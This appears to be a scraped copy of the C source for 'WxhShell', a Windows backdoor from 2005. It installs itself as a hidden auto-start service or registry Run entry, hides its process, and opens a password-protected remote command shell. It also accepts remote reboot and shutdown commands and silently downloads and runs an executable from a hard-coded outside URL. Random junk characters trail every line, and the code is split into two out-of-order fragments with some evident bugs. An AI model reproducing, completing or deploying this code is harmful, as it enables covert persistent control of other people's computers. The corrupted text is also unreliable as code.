    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\\niCNA  
    else { 7QRvl6cv  
    closesocket(wsh); ?p\II7   
    ExitThread(0); %QcG^R  
    } ? Gu_UW  
    break; InGbV+ I  
    } Ih0> ]h-7  
  // 获取shell oXOO 10  
  case 's': { /3HWP`<x  
    CmdShell(wsh); (~yJce  
    closesocket(wsh); RwLdV+2\R`  
    ExitThread(0); (E]K)d  
    break; YedipYG9;  
  } JqhVD@1{  
  // 退出 kj"_Y"q=  
  case 'x': { ,Onm!LI=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9w<_XXQ  
    CloseIt(wsh); %3B>1h9N  
    break; E;e2{@SX2K  
    } Y:Tt$EQ  
  // 离开 xaaxj  
  case 'q': { dD2e"OIX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o sH,(\4_  
    closesocket(wsh); tTxo:+xg  
    WSACleanup(); L&k$4,Z9  
    exit(1); m!>'}z  
    break; #6Ph"\G/  
        } F476"WF  
  } tm#y `1-  
  } G+yz8@  
I z@x^s  
  // 提示信息 yKy)fn!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q\=[v  
} `SbX`a0p2  
  } Ceb i9R[  
`Wt~6D e  
  return; AR2+W^aM3  
} #FM 'S|  
s'w 0pZqj  
// shell模块句柄 O/"&?)[v  
int CmdShell(SOCKET sock) ]8z6gDp  
{ 89dC bF3b  
STARTUPINFO si; U7'oI;C$e  
ZeroMemory(&si,sizeof(si)); !ry+ r!"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a"N_zGf2$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ct33S+y  
PROCESS_INFORMATION ProcessInfo; aDEP_b;  
char cmdline[]="cmd"; f%l#g]]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j> M%?Tw  
  return 0; M57(,#g  
} \'b- ;exH  
4<HJD&@V  
// 自身启动模式  X;g|-<  
int StartFromService(void) <6$%Y2  
{ t)+dW~g  
typedef struct 0:S)2"I58p  
{ Fje%hcV  
  DWORD ExitStatus; D/>5\da+y  
  DWORD PebBaseAddress; $*ZHk0 7x  
  DWORD AffinityMask; YiMecu  
  DWORD BasePriority; q>Y[.c-  
  ULONG UniqueProcessId; Fb-TCq1y#  
  ULONG InheritedFromUniqueProcessId; tx-bzLo\  
}   PROCESS_BASIC_INFORMATION; ~;` #{$/C&  
,B!Qv3bn  
PROCNTQSIP NtQueryInformationProcess; - d6>  
jz0\F,s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aT[7L9Cw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^)I:82"|?  
zvj\n9H  
  HANDLE             hProcess; : r=_\?  
  PROCESS_BASIC_INFORMATION pbi; o~ed0>D-LS  
qa6up|xUnn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XjNu|H/  
  if(NULL == hInst ) return 0; @TDcj~oR ?  
3dLz=.=)'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `$HO`d@0*R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a4YyELXe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FW,D\51pTP  
[x,&Gwa  
  if (!NtQueryInformationProcess) return 0; cCs:z   
hd' n"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }rZp(FG@*  
  if(!hProcess) return 0; CXA8V"@&b/  
&9>d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T~Cd=s(T"  
?9cy5z[  
  CloseHandle(hProcess); xl$ Qw'  
We2=|AB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^=j$~*(LmX  
if(hProcess==NULL) return 0; kLP^q+$u)!  
Sz&`=x#  
HMODULE hMod; ^8)d8?}  
char procName[255]; ikC;N5Sw  
unsigned long cbNeeded; &V$R@~x  
\9DTf:!4Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c-F&4V  
E;N8{Ye_  
  CloseHandle(hProcess); AyDK-8a  
p*Cbe\  
if(strstr(procName,"services")) return 1; // 以服务启动 J$o J  
"rtmDNpL  
  return 0; // 注册表启动 >8Y >B)  
} I5mS!m/X  
LCt m@oN  
// 主模块 qM)^]2_-  
int StartWxhshell(LPSTR lpCmdLine) Y]PZ| G)  
{ G(>a LF  
  SOCKET wsl; 827N?pU$)  
BOOL val=TRUE; UZ$p wjC  
  int port=0; uB BE!w_  
  struct sockaddr_in door; WG,{:|!E  
PuWF:'w r  
  if(wscfg.ws_autoins) Install(); @({65gJ*  
c!c!;(  
port=atoi(lpCmdLine); Xs`/q}R  
y =CemJ[~  
if(port<=0) port=wscfg.ws_port; ;rX4${h  
Lqt]  
  WSADATA data; R[b?kT-%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {,m!%FDL  
Z`D#L[z$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @S{,g;8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u}$?r\H'(  
  door.sin_family = AF_INET; %}@^[E)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z1&8 U=pax  
  door.sin_port = htons(port); BkcOsJIz  
g#e"BBm=A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kxg09\5i  
closesocket(wsl); wXP1tM8T  
return 1; ^;'3(m=  
} 2axH8ONMu  
yuND0,e  
  if(listen(wsl,2) == INVALID_SOCKET) { (g 8K?Q  
closesocket(wsl);  h /on  
return 1; Fw|5A"9'a'  
} R +k\)_F  
  Wxhshell(wsl); mesR)fTI  
  WSACleanup(); K jLj  
SkY|.w.   
return 0; :Z<-J`  
V r y#  
} TO QvZ?_  
8g<3J-7Mm  
// 以NT服务方式启动 T^"d%au  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :g Ze>  
{ WHU& 9N  
DWORD   status = 0; [;c#LJ/y  
  DWORD   specificError = 0xfffffff; zITXEorF!J  
KNV$9&Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hNQ,U{`;^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X/?3ifP6I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C; ! )<(Vw  
  serviceStatus.dwWin32ExitCode     = 0; +_+}^Nf]Y3  
  serviceStatus.dwServiceSpecificExitCode = 0; *'Ch(c:rtH  
  serviceStatus.dwCheckPoint       = 0; u ; I5n  
  serviceStatus.dwWaitHint       = 0; SwQb"  
2Ddrxc>48  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N j?,'?'O}  
  if (hServiceStatusHandle==0) return; 55Jk "V#8  
 pCv=rK@  
status = GetLastError(); )5hS;u&b  
  if (status!=NO_ERROR) 4rv3D@E  
{ zc(- dMlK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #\w~(Nm-  
    serviceStatus.dwCheckPoint       = 0; R:11w#m7w  
    serviceStatus.dwWaitHint       = 0; Ry,jPw5<  
    serviceStatus.dwWin32ExitCode     = status; 1h|JKu0  
    serviceStatus.dwServiceSpecificExitCode = specificError; /+%1Kq.hP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  F`f#gpQ  
    return; O GSJR`yT  
  } i4AmNRs  
HdLVXaD/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >pr{)bp G  
  serviceStatus.dwCheckPoint       = 0; A2]N :=  
  serviceStatus.dwWaitHint       = 0; oMcX{v^"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6Vi #O^>  
} Ip|7JL0Z  
6X)8vQH  
// 处理NT服务事件,比如:启动、停止 \S3C"P%w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $$`}b^,/  
{ l1a=r:WhH  
switch(fdwControl) 9J*m!-hOY  
{ R|`}z"4C  
case SERVICE_CONTROL_STOP: 6dV92:  
  serviceStatus.dwWin32ExitCode = 0; 8 z\WyDz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zS]Yd9;X1  
  serviceStatus.dwCheckPoint   = 0; J=5G<  
  serviceStatus.dwWaitHint     = 0; )N<>L/R  
  { &!a[rvtZ+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EPW Iu)A  
  } WnU"&XZ  
  return; o^2.&e+dQ  
case SERVICE_CONTROL_PAUSE: vV,H@WK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xfk&{zO-j  
  break; |v:8^C7  
case SERVICE_CONTROL_CONTINUE: |{<g-)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1P@&xcvS\  
  break; 5,k&^CK}  
case SERVICE_CONTROL_INTERROGATE: USfOc  
  break; OiZPL"Q(K  
}; aV,>y"S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?E=&LAI#  
} UeX3cD  
P.=&:ay7?  
// 标准应用程序主函数 _ z#zF[%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +kmPQdO;*/  
{ S2w|\"  
6uOR0L  
// 获取操作系统版本 [-=PK\ B  
OsIsNt=GetOsVer(); Cir==7A0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V.>'\b/#  
$*{PUj  
  // 从命令行安装 *4dA(N\k"  
  if(strpbrk(lpCmdLine,"iI")) Install();  \|L@  
A !x" *  
  // 下载执行文件 25o + ?Y<  
if(wscfg.ws_downexe) { ?x%HQ2`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "n=`{~F  
  WinExec(wscfg.ws_filenam,SW_HIDE); L Lm{:T7  
} Ul)2A  
gQCkoQi:j  
if(!OsIsNt) { {;=I69 X  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?TLMoqmXM{  
HideProc(); }b\e2ZK  
StartWxhshell(lpCmdLine); ]Jq1b210  
} 1.4]T, `  
else %e+hM $Q  
  if(StartFromService()) &Ru|L.G`  
  // 以服务方式启动 k:nr!Y<  
  StartServiceCtrlDispatcher(DispatchTable); k*\WzBTd  
else "[q/2vC  
  // 普通方式启动 *1$rg?yGf  
  StartWxhshell(lpCmdLine); (dLt$<F  
QS4sSua  
return 0; hCD0Zel  
} qH: ` O%,  
U"v(9m@  
wWKC.N  
s7A{<>:  
=========================================== ,2qJXMg"=$  
8$io^n\i  
q&B'peT  
0m(/hK  
),(ejRP'r  
:z_D?UQ  
" tx;MH5s/V  
$]<CC`  
#include <stdio.h> cpF\^[D  
#include <string.h>  ?}e8g  
#include <windows.h> mL?9AxO  
#include <winsock2.h> s4<[f%^  
#include <winsvc.h> ~}q"M[{  
#include <urlmon.h> R rs?I,NV  
/pan{.< k  
#pragma comment (lib, "Ws2_32.lib") R]VY PNns  
#pragma comment (lib, "urlmon.lib") #I|Vyufw  
*]nha1!S  
#define MAX_USER   100 // 最大客户端连接数 TR L4r_  
#define BUF_SOCK   200 // sock buffer Qw!cd-zc  
#define KEY_BUFF   255 // 输入 buffer T^B&GgW  
'Cd8l#z7  
#define REBOOT     0   // 重启 j0B, \A  
#define SHUTDOWN   1   // 关机 ~ ' 81  
?7 e|gpQ|  
#define DEF_PORT   5000 // 监听端口 a,b ;H(em  
~O;!y%  
#define REG_LEN     16   // 注册表键长度 ]:(>r&'  
#define SVC_LEN     80   // NT服务名长度 'g$~ij ;x  
O&.^67\|  
// 从dll定义API 1k6f|Al -  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nud,ag  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VI,z7 \  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O+%Y1=S[WQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =K I4  
.'mmn5E  
// wxhshell配置信息 "%dWBvuO  
struct WSCFG { /tM<ois*  
  int ws_port;         // 监听端口 r5%K2q{  
  char ws_passstr[REG_LEN]; // 口令 9:4PJ%R9  
  int ws_autoins;       // 安装标记, 1=yes 0=no *M\Qt_[  
  char ws_regname[REG_LEN]; // 注册表键名 \~UyfVPRT  
  char ws_svcname[REG_LEN]; // 服务名 mVfg+d(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GzWmXm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fIN8::Cs[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q%KH^<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D{'x7!5r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LbOjKM^-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rQg7r>%Q  
S!A)kK+  
}; hV#+joT8i  
sJg-FVe2  
// default Wxhshell configuration I~y[8  
struct WSCFG wscfg={DEF_PORT, Ay;=1g)8+f  
    "xuhuanlingzhe", ftq&<8  
    1, A<2_V1  
    "Wxhshell", 8~AO~  
    "Wxhshell", (`x6QiG!  
            "WxhShell Service", >e :&kp  
    "Wrsky Windows CmdShell Service", G`!#k!&r  
    "Please Input Your Password: ", dDbPM9]5  
  1, PeEf=3  
  "http://www.wrsky.com/wxhshell.exe", XFeHkU`C  
  "Wxhshell.exe" KGd L1~  
    }; <^6|ZgR  
0M(\xO  
// 消息定义模块 P9; =O$s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \_}Y4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +Rn]6}5m\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9$8B)x  
char *msg_ws_ext="\n\rExit."; Bm2"} =  
char *msg_ws_end="\n\rQuit."; ag^EH"%zw  
char *msg_ws_boot="\n\rReboot..."; tNg}: a|J  
char *msg_ws_poff="\n\rShutdown..."; Ql&5fyW  
char *msg_ws_down="\n\rSave to "; _Z z" `  
#]<j.Fc`  
char *msg_ws_err="\n\rErr!"; Sx?IpcPSm  
char *msg_ws_ok="\n\rOK!"; \M(0@#-$C  
^_ L'I%%[  
char ExeFile[MAX_PATH]; Cp=DdmR  
int nUser = 0; wZ/Zc} .  
HANDLE handles[MAX_USER]; ^55#!/9  
int OsIsNt; fBBNP)  
=u W+>;]  
SERVICE_STATUS       serviceStatus; QxG:NN;jW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N-EVH e'}6  
1^^<6e  
// 函数声明  "_t2R &A  
int Install(void); ]8FSs/4  
int Uninstall(void); B'"(qzE-kM  
int DownloadFile(char *sURL, SOCKET wsh); aF1i!Z  
int Boot(int flag); Uu ~BErEC  
void HideProc(void); =EwC6+8*M  
int GetOsVer(void); L;$Gn"7~  
int Wxhshell(SOCKET wsl); k"X<gA  
void TalkWithClient(void *cs); p+#$S4V  
int CmdShell(SOCKET sock); ,paD/  
int StartFromService(void); ?CIMez(h  
int StartWxhshell(LPSTR lpCmdLine); Hh`x>{,|S  
78&(>8@m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a[d6@!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k)j, ~JH  
F_0vh;Jo  
// 数据结构和表定义 }tue`">h  
SERVICE_TABLE_ENTRY DispatchTable[] = H:byCFN-  
{ gE2k]`[j]  
{wscfg.ws_svcname, NTServiceMain}, UkK`5p<D7  
{NULL, NULL} 9NXf~-V-  
}; x&>zD0\ :\  
[yj-4v%u`  
// 自我安装 x[l_dmq  
int Install(void) r5y p jT^  
{ vt)u`/u  
  char svExeFile[MAX_PATH]; B^Y AKbY  
  HKEY key;  Za,rht  
  strcpy(svExeFile,ExeFile); k\(LBZ"vR  
i i&kfy  
// 如果是win9x系统,修改注册表设为自启动 ~nO]R   
if(!OsIsNt) { W$&{jr-p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :f<:>"<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }i,LP1R  
  RegCloseKey(key); u.W}{-+kp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { esE5#Yq4.k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j$v2_q  
  RegCloseKey(key); vX|i5P0)8  
  return 0; UC&f  
    } ^yLiyRe\  
  } 'u"r^o?  
} Y:UDte[Lb  
else { qz]b8rX  
?[<C,w~$`  
// 如果是NT以上系统,安装为系统服务 2e~ud9,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xF|P6GXg  
if (schSCManager!=0) ['1JN UX  
{ f0 iYP   
  SC_HANDLE schService = CreateService -<e8\Z`  
  ( B#Sg:L9Tr'  
  schSCManager, w.v yEU^  
  wscfg.ws_svcname, QN!.~>  
  wscfg.ws_svcdisp, 7,vvL8\NHu  
  SERVICE_ALL_ACCESS, }<G"w 5.<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z +NxO !y  
  SERVICE_AUTO_START, P!uwhha/g  
  SERVICE_ERROR_NORMAL, St9+/Md=jQ  
  svExeFile, .4I "[$?Q  
  NULL, `{1` >5  
  NULL, KBVW <;C$  
  NULL, +[W_J z  
  NULL, ';T=kS<^_  
  NULL V* :Q~ ^  
  ); VE_%/Fs,  
  if (schService!=0) a+wc"RQ |  
  { f9`F~6$  
  CloseServiceHandle(schService); /%O+]#$`0  
  CloseServiceHandle(schSCManager); -v]v m3Na  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v-^7oai  
  strcat(svExeFile,wscfg.ws_svcname); ^5BLuN6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :i{$p00 G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M{sn{  
  RegCloseKey(key); ZH o#2{F  
  return 0; ]U9f4ODt  
    } X{8/]'(  
  } /Q|guJx  
  CloseServiceHandle(schSCManager); 1w30Vj2<  
} 8[2.HM$Y  
} [X9s\H  
#HgXTC  
return 1; 0iy-FV;J  
} \a\J0&Z  
49/j9#hr  
// 自我卸载 _1<zpHp  
int Uninstall(void) _dg2i|yP<  
{ _PI w""ssr  
  HKEY key; C}})dL;(  
BkZmE,  
if(!OsIsNt) { BK+(Uf;g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O(P ,!  
  RegDeleteValue(key,wscfg.ws_regname); -Odk'{nW  
  RegCloseKey(key); PA=.)8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Py}`k1t*f  
  RegDeleteValue(key,wscfg.ws_regname); N sUFM  
  RegCloseKey(key); O&ur |&v  
  return 0; >'qkW$-95  
  } MV+S.`R  
} {e>E4(  
} FN-j@  
else { 9)_fH6r  
VaLx-RX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nWrkn m  
if (schSCManager!=0) uude<d"U  
{ |fQl0hL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2f;fdzjk8K  
  if (schService!=0) !A5UT-  
  { _t9@ vVQ  
  if(DeleteService(schService)!=0) { i]qVT)j  
  CloseServiceHandle(schService); ;OE=;\  
  CloseServiceHandle(schSCManager); >9h@Dj[|!  
  return 0; n'dxa<F2|  
  } aN87^[  
  CloseServiceHandle(schService); ^t|CD|,K_O  
  } _~^JRC[q  
  CloseServiceHandle(schSCManager); Ym)8L.  
} ]#UyYgPk  
} ;M<jQntqS{  
[c{/0*  
return 1; o0f{ePZ=  
} x B%Felz  
RV*7?y%3  
// 从指定url下载文件 #i#4h<R  
int DownloadFile(char *sURL, SOCKET wsh) /& qN yo  
{ =h`yc$ A(2  
  HRESULT hr; q- U/JC  
char seps[]= "/"; %:^|Q;xe  
char *token; F]#rH   
char *file; hXvg<Rf  
char myURL[MAX_PATH]; 9M$=X-  
char myFILE[MAX_PATH]; ^'UJ&UfX  
Sdc yL%6!  
strcpy(myURL,sURL); ]cz*k/*0  
  token=strtok(myURL,seps); hkS K;  
  while(token!=NULL) l'_P]@*  
  { U%swqle4  
    file=token; *AO^oBeY  
  token=strtok(NULL,seps); Zcaec#  
  } 1:.0^?Gz  
+/g/+B_b  
GetCurrentDirectory(MAX_PATH,myFILE); L_>j SP  
strcat(myFILE, "\\"); 1gq(s2izy  
strcat(myFILE, file); EF7Y4lp  
  send(wsh,myFILE,strlen(myFILE),0); _L?`C  
send(wsh,"...",3,0); YS}uJ&WoF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [V\0P,l  
  if(hr==S_OK) 1:3I G=  
return 0; CS:"F) at  
else |<,!K;@  
return 1; ~w<u!  
hFDY2Cp]D  
} $6BD6\@  
J/M_cO*U  
// 系统电源模块 !nQ!J+ g  
int Boot(int flag) D ^ mfWJS  
{ *vx!twu1o  
  HANDLE hToken; vOb=>  
  TOKEN_PRIVILEGES tkp; Q:.q*I!D<4  
#6])\  
  if(OsIsNt) { VA9" Au  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l;4},N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F,Ls1  
    tkp.PrivilegeCount = 1; t)Iu\bP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4I"p>FIkY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gbP]!d:I  
if(flag==REBOOT) { p[E}:kak_-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jU1([(?"  
  return 0; /{eD##vhP  
} 5*.JXx E;U  
else { g]^@bxdg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .OLm{  
  return 0; icq!^5BzL  
} l_K=7\N  
  } oy I8}s:  
  else { >t-9yO1XQq  
if(flag==REBOOT) { _7j-y 9V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t'msgC6=>u  
  return 0; o6JCy\Bx  
} Lh0qB)>  
else { XBd/,:q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jB+K)NXHL  
  return 0; D4e*Wwk  
} uJQ#l\t  
} h n:  
(vX+ Yw  
return 1; &xK ln1z'  
} q;&\77i$  
*v+xKy#M  
// win9x进程隐藏模块 oPSucz&s  
void HideProc(void) fq-zgqF<  
{ JI TQ3UL:W  
"E4;M/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gqe?CM  
  if ( hKernel != NULL ) $a'n{EP  
  { 2Zf} t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E-P;3lS~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _J'V5]=4  
    FreeLibrary(hKernel); I[mlQmwsL.  
  } KI* erK [d  
tOn 6  
return; T#ktC0W]h  
} TqzL]'NS+  
JQ-O=8]  
// 获取操作系统版本 j<H5i}  
int GetOsVer(void) >LvQ&fAo  
{ P ?- #d\qi  
  OSVERSIONINFO winfo; ={HYwP;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (XF"ckma  
  GetVersionEx(&winfo); uBdS}U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *fz]Q>2ga  
  return 1; O$<m(~[S  
  else azEN_oUV  
  return 0; ^T(v4'7  
} woQ UrO(  
qnFi./  
// 客户端句柄模块 "x;|li3;  
int Wxhshell(SOCKET wsl) 0?x9.]  
{ qfRsp rRI"  
  SOCKET wsh; dRl*rP/  
  struct sockaddr_in client; [SnnOqWw  
  DWORD myID; ~353x%e'  
~"eQPTd  
  while(nUser<MAX_USER) /UwB6s(  
{ %E1_)^ ^  
  int nSize=sizeof(client); @m#1[n;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PWavq?SR  
  if(wsh==INVALID_SOCKET) return 1; UEm~5,>$0  
 1rnbUE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x{GKz#  
if(handles[nUser]==0) Z@Tb3N/[  
  closesocket(wsh); {*#}"/:8K  
else #2dd`F8  
  nUser++; `E@TPdu  
  } (z8^^j[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m+jW+  
z8MKGM  
  return 0; F. N4Q'2Z  
} -#TF&-  
G7|CwzMg  
// 关闭 socket J83{&N2u  
void CloseIt(SOCKET wsh) ~~8?|@V  
{ P#gY-k&Nr  
closesocket(wsh); c8R#=^ DD  
nUser--; E%+aqA)f  
ExitThread(0); >v r! 3  
} { \r1A  
G1 :*F8q  
// 客户端请求句柄 {c#{dT  
void TalkWithClient(void *cs) LTof$4s  
{ <Z0N)0|  
qGAb h  
  SOCKET wsh=(SOCKET)cs; :o2^?k8k&#  
  char pwd[SVC_LEN]; @c >a  
  char cmd[KEY_BUFF]; 2D?V0>/  
char chr[1]; r[u@ [  
int i,j; 9f wFSJx  
7KB:wsz^  
  while (nUser < MAX_USER) { QH) uh"  
z?b[ 6DLV;  
if(wscfg.ws_passstr) { H@j D %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *E"OQsIl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?E6*Ef  
  //ZeroMemory(pwd,KEY_BUFF); BGe&c,feIc  
      i=0; ]>:LHW  
  while(i<SVC_LEN) { "Z\^dR  
=P,h5J  
  // 设置超时 bOY<C%;C  
  fd_set FdRead; >k\lE(  
  struct timeval TimeOut; xlhc`wdm  
  FD_ZERO(&FdRead); vvsQf%  
  FD_SET(wsh,&FdRead); *irYSTA$  
  TimeOut.tv_sec=8; =9LeFrz  
  TimeOut.tv_usec=0;  C0Oe$& _  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t 7(#Cuv-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ @U11|  
m4 :|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0-N"_1k|?  
  pwd=chr[0]; Fq-A vU  
  if(chr[0]==0xd || chr[0]==0xa) { CP%?,\  
  pwd=0; A3;}C+K  
  break; cyQ&w>'  
  } 2#^@awJ ?  
  i++; U}=o3u  
    } Cq<a|t  
EWr8=@iU  
  // 如果是非法用户,关闭 socket +V N&kCx)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +O2z&a;q  
} [1 ?  
}8zw| (GR,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "IvFkS=*Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /W vgC)  
5y1:oiE/  
while(1) { iaq+#k@V  
{cYS0%Go  
  ZeroMemory(cmd,KEY_BUFF); C `>1x`n  
wcd1.$ n  
      // 自动支持客户端 telnet标准   pKxq\U  
  j=0; pow.@  
  while(j<KEY_BUFF) { U)3*7D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `L. kyL  
  cmd[j]=chr[0]; JIA'3"C  
  if(chr[0]==0xa || chr[0]==0xd) { +TWk}#G   
  cmd[j]=0; 7a<-}>sU  
  break; $z"1&y)  
  } t& *K  
  j++; 8vuA`T!~G  
    } 'on8r*  
1 po.Cmx  
  // 下载文件 Hl3%+f  
  if(strstr(cmd,"http://")) { pI>[^7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a@ub%laL Z  
  if(DownloadFile(cmd,wsh)) 9k`}fk\M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \d,wcL  
  else soTmKqj E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DC5^k[m  
  } k v>rv37u  
  else { Ei Yj`P  
~kJ}Z<e  
    switch(cmd[0]) { v95O)cC:W  
  X>$s>})Y  
  // 帮助 ^_Ap?zn  
  case '?': { 3om_Z/k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j$5S_]2  
